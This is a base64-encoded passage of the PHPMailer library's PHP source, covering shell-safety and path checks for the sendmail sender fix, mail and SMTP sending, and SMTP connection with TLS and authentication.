ZFLTIwMTYtMTAwNDUgYnVnIHJlcG9ydAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgc3RhdGljIGZ1bmN0aW9uIGlzU2hlbGxTYWZlKCRzdHJpbmcpCiAgICB7CiAgICAgICAgLy8gRnV0dXJlLXByb29mCiAgICAgICAgaWYgKGVzY2FwZXNoZWxsY21kKCRzdHJpbmcpICE9PSAkc3RyaW5nCiAgICAgICAgICAgIG9yICFpbl9hcnJheShlc2NhcGVzaGVsbGFyZygkc3RyaW5nKSwgYXJyYXkoIickc3RyaW5nJyIsICJcIiRzdHJpbmdcIiIpKQogICAgICAgICkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICAkbGVuZ3RoID0gc3RybGVuKCRzdHJpbmcpOwoKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRjID0gJHN0cmluZ1skaV07CgogICAgICAgICAgICAvLyBBbGwgb3RoZXIgY2hhcmFjdGVycyBoYXZlIGEgc3BlY2lhbCBtZWFuaW5nIGluIGF0IGxlYXN0IG9uZSBjb21tb24gc2hlbGwsIGluY2x1ZGluZyA9IGFuZCArLgogICAgICAgICAgICAvLyBGdWxsIHN0b3AgKC4pIGhhcyBhIHNwZWNpYWwgbWVhbmluZyBpbiBjbWQuZXhlLCBidXQgaXRzIGltcGFjdCBzaG91bGQgYmUgbmVnbGlnaWJsZSBoZXJlLgogICAgICAgICAgICAvLyBOb3RlIHRoYXQgdGhpcyBkb2VzIHBlcm1pdCBub24tTGF0aW4gYWxwaGFudW1lcmljIGNoYXJhY3RlcnMgYmFzZWQgb24gdGhlIGN1cnJlbnQgbG9jYWxlLgogICAgICAgICAgICBpZiAoIWN0eXBlX2FsbnVtKCRjKSAmJiBzdHJwb3MoJ0BfLS4nLCAkYykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgd2hldGhlciBhIGZpbGUgcGF0aCBpcyBvZiBhIHBlcm1pdHRlZCB0eXBlLgogICAgICogVXNlZCB0byByZWplY3QgVVJMcyBhbmQgcGhhciBmaWxlcyBmcm9tIGZ1bmN0aW9ucyB0aGF0IGFjY2VzcyBsb2NhbCBmaWxlIHBhdGhzLAogICAgICogc3VjaCBhcyBhZGRBdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIHJlbGF0aXZlIG9yIGFic29sdXRlIHBhdGggdG8gYSBmaWxlLgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHByb3RlY3RlZCBzdGF0aWMgZnVuY3Rpb24gaXNQZXJtaXR0ZWRQYXRoKCRwYXRoKQogICAgewogICAgICAgIHJldHVybiAhcHJlZ19tYXRjaCgnI15bYS16XSs6Ly8jaScsICRwYXRoKTsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWFpbCB1c2luZyB0aGUgUEhQIG1haWwoKSBmdW5jdGlvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlciBUaGUgbWVzc2FnZSBoZWFkZXJzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IFRoZSBtZXNzYWdlIGJvZHkKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vYm9vay5tYWlsLnBocAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIG1haWxTZW5kKCRoZWFkZXIsICRib2R5KQogICAgewogICAgICAgICR0b0FyciA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0b2FkZHIpIHsKICAgICAgICAgICAgJHRvQXJyW10gPSAkdGhpcy0+YWRkckZvcm1hdCgkdG9hZGRyKTsKICAgICAgICB9CiAgICAgICAgJHRvID0gaW1wbG9kZSgnLCAnLCAkdG9BcnIpOwoKICAgICAgICAkcGFyYW1zID0gbnVsbDsKICAgICAgICAvL1RoaXMgc2V0cyB0aGUgU01UUCBlbnZlbG9wZSBzZW5kZXIgd2hpY2ggZ2V0cyB0dXJuZWQgaW50byBhIHJldHVybi1wYXRoIGhlYWRlciBieSB0aGUgcmVjZWl2ZXIKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5TZW5kZXIpIGFuZCAkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgIC8vIENWRS0yMDE2LTEwMDMzLCBDVkUtMjAxNi0xMDA0NTogRG9uJ3QgcGFzcyAtZiBpZiBjaGFyYWN0ZXJzIHdpbGwgYmUgZXNjYXBlZC4KICAgICAgICAgICAgaWYgKHNlbGY6OmlzU2hlbGxTYWZlKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgICAgICAkcGFyYW1zID0gc3ByaW50ZignLWYlcycsICR0aGlzLT5TZW5kZXIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICFpbmlfZ2V0KCdzYWZlX21vZGUnKSBhbmQgJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+U2VuZGVyKSkgewogICAgICAgICAgICAkb2xkX2Zyb20gPSBpbmlfZ2V0KCdzZW5kbWFpbF9mcm9tJyk7CiAgICAgICAgICAgIGluaV9zZXQoJ3NlbmRtYWlsX2Zyb20nLCAkdGhpcy0+U2VuZGVyKTsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCA9IGZhbHNlOwogICAgICAgIGlmICgkdGhpcy0+U2luZ2xlVG8gYW5kIGNvdW50KCR0b0FycikgPiAxKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b0FyciBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG9BZGRyLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soJHJlc3VsdCwgYXJyYXkoJHRvQWRkciksICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5LCAkdGhpcy0+RnJvbSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG8sICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRyZXN1bHQsICR0aGlzLT50bywgJHRoaXMtPmNjLCAkdGhpcy0+YmNjLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRvbGRfZnJvbSkpIHsKICAgICAgICAgICAgaW5pX3NldCgnc2VuZG1haWxfZnJvbScsICRvbGRfZnJvbSk7CiAgICAgICAgfQogICAgICAgIGlmICghJHJlc3VsdCkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdpbnN0YW50aWF0ZScpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgYW4gaW5zdGFuY2UgdG8gdXNlIGZvciBTTVRQIG9wZXJhdGlvbnMuCiAgICAgKiBPdmVycmlkZSB0aGlzIGZ1bmN0aW9uIHRvIGxvYWQgeW91ciBvd24gU01UUCBpbXBsZW1lbnRhdGlvbgogICAgICogQHJldHVybiBTTVRQCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTTVRQSW5zdGFuY2UoKQogICAgewogICAgICAgIGlmICghaXNfb2JqZWN0KCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkdGhpcy0+c210cCA9IG5ldyBTTVRQOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHRoaXMtPnNtdHA7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdmlhIFNNVFAuCiAgICAgKiBSZXR1cm5zIGZhbHNlIGlmIHRoZXJlIGlzIGEgYmFkIE1BSUwgRlJPTSwgUkNQVCwgb3IgREFUQSBpbnB1dC4KICAgICAqIFVzZXMgdGhlIFBIUE1haWxlclNNVFAgY2xhc3MgYnkgZGVmYXVsdC4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjpnZXRTTVRQSW5zdGFuY2UoKSB0byB1c2UgYSBkaWZmZXJlbnQgY2xhc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgVGhlIG1lc3NhZ2UgaGVhZGVycwogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBUaGUgbWVzc2FnZSBib2R5CiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHVzZXMgU01UUAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc210cFNlbmQoJGhlYWRlciwgJGJvZHkpCiAgICB7CiAgICAgICAgJGJhZF9yY3B0ID0gYXJyYXkoKTsKICAgICAgICBpZiAoISR0aGlzLT5zbXRwQ29ubmVjdCgkdGhpcy0+U01UUE9wdGlvbnMpKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5TZW5kZXI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5Gcm9tOwogICAgICAgIH0KICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5tYWlsKCRzbXRwX2Zyb20pKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZnJvbV9mYWlsZWQnKSAuICRzbXRwX2Zyb20gLiAnIDogJyAuIGltcGxvZGUoJywnLCAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKSkpOwogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5FcnJvckluZm8sIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXR0ZW1wdCB0byBzZW5kIHRvIGFsbCByZWNpcGllbnRzCiAgICAgICAgZm9yZWFjaCAoYXJyYXkoJHRoaXMtPnRvLCAkdGhpcy0+Y2MsICR0aGlzLT5iY2MpIGFzICR0b2dyb3VwKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b2dyb3VwIGFzICR0bykgewogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+cmVjaXBpZW50KCR0b1swXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3IgPSAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKTsKICAgICAgICAgICAgICAgICAgICAkYmFkX3JjcHRbXSA9IGFycmF5KCd0bycgPT4gJHRvWzBdLCAnZXJyb3InID0+ICRlcnJvclsnZGV0YWlsJ10pOwogICAgICAgICAgICAgICAgICAgICRpc1NlbnQgPSBmYWxzZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGlzU2VudCA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCBhcnJheSgkdG9bMF0pLCBhcnJheSgpLCBhcnJheSgpLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gT25seSBzZW5kIHRoZSBEQVRBIGNvbW1hbmQgaWYgd2UgaGF2ZSB2aWFibGUgcmVjaXBpZW50cwogICAgICAgIGlmICgoY291bnQoJHRoaXMtPmFsbF9yZWNpcGllbnRzKSA+IGNvdW50KCRiYWRfcmNwdCkpIGFuZCAhJHRoaXMtPnNtdHAtPmRhdGEoJGhlYWRlciAuICRib2R5KSkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdkYXRhX25vdF9hY2NlcHRlZCcpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5TTVRQS2VlcEFsaXZlKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5yZXNldCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIH0KICAgICAgICAvL0NyZWF0ZSBlcnJvciBtZXNzYWdlIGZvciBhbnkgYmFkIGFkZHJlc3NlcwogICAgICAgIGlmIChjb3VudCgkYmFkX3JjcHQpID4gMCkgewogICAgICAgICAgICAkZXJyc3RyID0gJyc7CiAgICAgICAgICAgIGZvcmVhY2ggKCRiYWRfcmNwdCBhcyAkYmFkKSB7CiAgICAgICAgICAgICAgICAkZXJyc3RyIC49ICRiYWRbJ3RvJ10gLiAnOiAnIC4gJGJhZFsnZXJyb3InXTsKICAgICAgICAgICAgfQogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKAogICAgICAgICAgICAgICAgJHRoaXMtPmxhbmcoJ3JlY2lwaWVudHNfZmFpbGVkJykgLiAkZXJyc3RyLAogICAgICAgICAgICAgICAgc2VsZjo6U1RPUF9DT05USU5VRQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIEluaXRpYXRlIGEgY29ubmVjdGlvbiB0byBhbiBTTVRQIHNlcnZlci4KICAgICAqIFJldHVybnMgZmFsc2UgaWYgdGhlIG9wZXJhdGlvbiBmYWlsZWQuCiAgICAgKiBAcGFyYW0gYXJyYXkgJG9wdGlvbnMgQW4gYXJyYXkgb2Ygb3B0aW9ucyBjb21wYXRpYmxlIHdpdGggc3RyZWFtX2NvbnRleHRfY3JlYXRlKCkKICAgICAqIEB1c2VzIFNNVFAKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ29ubmVjdCgkb3B0aW9ucyA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKGlzX251bGwoJHRoaXMtPnNtdHApKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwID0gJHRoaXMtPmdldFNNVFBJbnN0YW5jZSgpOwogICAgICAgIH0KCiAgICAgICAgLy9JZiBubyBvcHRpb25zIGFyZSBwcm92aWRlZCwgdXNlIHdoYXRldmVyIGlzIHNldCBpbiB0aGUgaW5zdGFuY2UKICAgICAgICBpZiAoaXNfbnVsbCgkb3B0aW9ucykpIHsKICAgICAgICAgICAgJG9wdGlvbnMgPSAkdGhpcy0+U01UUE9wdGlvbnM7CiAgICAgICAgfQoKICAgICAgICAvLyBBbHJlYWR5IGNvbm5lY3RlZD8KICAgICAgICBpZiAoJHRoaXMtPnNtdHAtPmNvbm5lY3RlZCgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPnNtdHAtPnNldFRpbWVvdXQoJHRoaXMtPlRpbWVvdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z0xldmVsKCR0aGlzLT5TTVRQRGVidWcpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXREZWJ1Z091dHB1dCgkdGhpcy0+RGVidWdvdXRwdXQpOwogICAgICAgICR0aGlzLT5zbXRwLT5zZXRWZXJwKCR0aGlzLT5kb192ZXJwKTsKICAgICAgICAkaG9zdHMgPSBleHBsb2RlKCc7JywgJHRoaXMtPkhvc3QpOwogICAgICAgICRsYXN0ZXhjZXB0aW9uID0gbnVsbDsKCiAgICAgICAgZm9yZWFjaCAoJGhvc3RzIGFzICRob3N0ZW50cnkpIHsKICAgICAgICAgICAgJGhvc3RpbmZvID0gYXJyYXkoKTsKICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKAogICAgICAgICAgICAgICAgJy9eKChzc2x8dGxzKTpcL1wvKSooW2EtekEtWjAtOVwuLV0qfFxbW2EtZkEtRjAtOTpdK1xdKTo\/KFswLTldKikkLycsCiAgICAgICAgICAgICAgICB0cmltKCRob3N0ZW50cnkpLAogICAgICAgICAgICAgICAgJGhvc3RpbmZvCiAgICAgICAgICAgICkpIHsKICAgICAgICAgICAgICAgIC8vIE5vdCBhIHZhbGlkIGhvc3QgZW50cnkKICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ0lnbm9yaW5nIGludmFsaWQgaG9zdDogJyAuICRob3N0ZW50cnkpOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gJGhvc3RpbmZvWzJdOiBvcHRpb25hbCBzc2wgb3IgdGxzIHByZWZpeAogICAgICAgICAgICAvLyAkaG9zdGluZm9bM106IHRoZSBob3N0bmFtZQogICAgICAgICAgICAvLyAkaG9zdGluZm9bNF06IG9wdGlvbmFsIHBvcnQgbnVtYmVyCiAgICAgICAgICAgIC8vIFRoZSBob3N0IHN0cmluZyBwcmVmaXggY2FuIHRlbXBvcmFyaWx5IG92ZXJyaWRlIHRoZSBjdXJyZW50IHNldHRpbmcgZm9yIFNNVFBTZWN1cmUKICAgICAgICAgICAgLy8gSWYgaXQncyBub3Qgc3BlY2lmaWVkLCB0aGUgZGVmYXVsdCB2YWx1ZSBpcyB1c2VkCiAgICAgICAgICAgICRwcmVmaXggPSAnJzsKICAgICAgICAgICAgJHNlY3VyZSA9ICR0aGlzLT5TTVRQU2VjdXJlOwogICAgICAgICAgICAkdGxzID0gKCR0aGlzLT5TTVRQU2VjdXJlID09ICd0bHMnKTsKICAgICAgICAgICAgaWYgKCdzc2wnID09ICRob3N0aW5mb1syXSBvciAoJycgPT0gJGhvc3RpbmZvWzJdIGFuZCAnc3NsJyA9PSAkdGhpcy0+U01UUFNlY3VyZSkpIHsKICAgICAgICAgICAgICAgICRwcmVmaXggPSAnc3NsOi8vJzsKICAgICAgICAgICAgICAgICR0bHMgPSBmYWxzZTsgLy8gQ2FuJ3QgaGF2ZSBTU0wgYW5kIFRMUyBhdCB0aGUgc2FtZSB0aW1lCiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3NzbCc7CiAgICAgICAgICAgIH0gZWxzZWlmICgkaG9zdGluZm9bMl0gPT0gJ3RscycpIHsKICAgICAgICAgICAgICAgICR0bHMgPSB0cnVlOwogICAgICAgICAgICAgICAgLy8gdGxzIGRvZXNuJ3QgdXNlIGEgcHJlZml4CiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3Rscyc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy9EbyB3ZSBuZWVkIHRoZSBPcGVuU1NMIGV4dGVuc2lvbj8KICAgICAgICAgICAgJHNzbGV4dCA9IGRlZmluZWQoJ09QRU5TU0xfQUxHT19TSEExJyk7CiAgICAgICAgICAgIGlmICgndGxzJyA9PT0gJHNlY3VyZSBvciAnc3NsJyA9PT0gJHNlY3VyZSkgewogICAgICAgICAgICAgICAgLy9DaGVjayBmb3IgYW4gT3BlblNTTCBjb25zdGFudCByYXRoZXIgdGhhbiB1c2luZyBleHRlbnNpb25fbG9hZGVkLCB3aGljaCBpcyBzb21ldGltZXMgZGlzYWJsZWQKICAgICAgICAgICAgICAgIGlmICghJHNzbGV4dCkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykuJ29wZW5zc2wnLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkaG9zdCA9ICRob3N0aW5mb1szXTsKICAgICAgICAgICAgJHBvcnQgPSAkdGhpcy0+UG9ydDsKICAgICAgICAgICAgJHRwb3J0ID0gKGludGVnZXIpJGhvc3RpbmZvWzRdOwogICAgICAgICAgICBpZiAoJHRwb3J0ID4gMCBhbmQgJHRwb3J0IDwgNjU1MzYpIHsKICAgICAgICAgICAgICAgICRwb3J0ID0gJHRwb3J0OwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdCgkcHJlZml4IC4gJGhvc3QsICRwb3J0LCAkdGhpcy0+VGltZW91dCwgJG9wdGlvbnMpKSB7CiAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+SGVsbykgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+SGVsbzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkaGVsbG8gPSAkdGhpcy0+c2VydmVySG9zdG5hbWUoKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPmhlbGxvKCRoZWxsbyk7CiAgICAgICAgICAgICAgICAgICAgLy9BdXRvbWF0aWNhbGx5IGVuYWJsZSBUTFMgZW5jcnlwdGlvbiBpZjoKICAgICAgICAgICAgICAgICAgICAvLyAqIGl0J3Mgbm90IGRpc2FibGVkCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBoYXZlIG9wZW5zc2wgZXh0ZW5zaW9uCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3ZSBhcmUgbm90IGFscmVhZHkgdXNpbmcgU1NMCiAgICAgICAgICAgICAgICAgICAgLy8gKiB0aGUgc2VydmVyIG9mZmVycyBTVEFSVFRMUwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U01UUEF1dG9UTFMgYW5kICRzc2xleHQgYW5kICRzZWN1cmUgIT0gJ3NzbCcgYW5kICR0aGlzLT5zbXRwLT5nZXRTZXJ2ZXJFeHQoJ1NUQVJUVExTJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRscyA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkdGxzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNtdHAtPnN0YXJ0VExTKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2Nvbm5lY3RfaG9zdCcpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IHJlc2VuZCBFSExPIGFmdGVyIFRMUyBuZWdvdGlhdGlvbgogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+aGVsbG8oJGhlbGxvKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TTVRQQXV0aCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5hdXRoZW50aWNhdGUoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+VXNlcm5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UGFzc3dvcmQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+QXV0aFR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+UmVhbG0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+V29ya3N0YXRpb24KICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2F1dGhlbnRpY2F0ZScpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICAgICAgICAgJGxhc3RleGNlcHRpb24gPSAkZXhjOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IGhhdmUgY29ubmVjdGVkLCBidXQgdGhlbiBmYWlsZWQgVExTIG9yIEF1dGgsIHNvIGNsb3NlIGNvbm5lY3Rpb24gbmljZWx5CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPnF1aXQoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyBJZiB3ZSBnZXQgaGVyZSwgYWxsIGNvbm5lY3Rpb24gYXR0ZW1wdHMgaGF2ZSBmYWlsZWQsIHNvIGNsb3NlIGNvbm5lY3Rpb24gaGFyZAogICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIC8vIEFzIHdlJ3ZlIGNhdWdodCBhbGwgZXhjZXB0aW9ucywganVzdCByZXBvcnQgd2hhdGV2ZXIgdGhlIGxhc3Qgb25lIHdhcwogICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucyBhbmQgIWlzX251bGwoJGxhc3RleGNlcHRpb24pKSB7CiAgICAgICAgICAgIHRocm93ICRsYXN0ZXhjZXB0aW9uOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbG9zZSB0aGUgYWN0aXZlIFNNVFAgc2Vzc2lvbiBpZiBvbmUgZXhpc3RzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzbXRwQ2xvc2UoKQogICAgewogICAgICAgIGlmIChpc19hKCR0aGlzLT5zbXRwLCAnU01UUCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdGVkKCkpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+Y2xvc2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgbGFuZ3VhZ2UgZm9yIGVycm9yIG1lc3NhZ2VzLgogICAgICogUmV0dXJucyBmYWxzZSBpZiBpdCBjYW5ub3QgbG9hZCB0aGUgbGFuZ3VhZ2UgZmlsZS4KICAgICAqIFRoZSBkZWZhdWx0IGxhbmd1YWdlIGlzIEVuZ2xpc2guCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsYW5nY29kZSBJU08gNjM5LTEgMi1jaGFyYWN0ZXIgbGFuZ3VhZ2UgY29kZSAoZS5nLiBGcmVuY2ggaXMgImZyIikKICAgICAqIEBwYXJhbSBzdHJpbmcgJGxhbmdfcGF0aCBQYXRoIHRvIHRoZSBsYW5ndWFnZSBmaWxlIGRpcmVjdG9yeSwgd2l0aCB0cmFpbGluZyBzZXBhcmF0b3IgKHNsYXNoKQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZ3VhZ2UoJGxhbmdjb2RlID0gJ2VuJywgJGxhbmdfcGF0aCA9ICcnKQogICAgewogICAgICAgIC8vIEJhY2t3YXJkcyBjb21wYXRpYmlsaXR5IGZvciByZW5hbWVkIGxhbmd1YWdlIGNvZGVzCiAgICAgICAgJHJlbmFtZWRfbGFuZ2NvZGVzID0gYXJyYXkoCiAgICAgICAgICAgICdicicgPT4gJ3B0X2JyJywKICAgICAgICAgICAgJ2N6JyA9PiAnY3MnLAogICAgICAgICAgICAnZGsnID0+ICdkYScsCiAgIC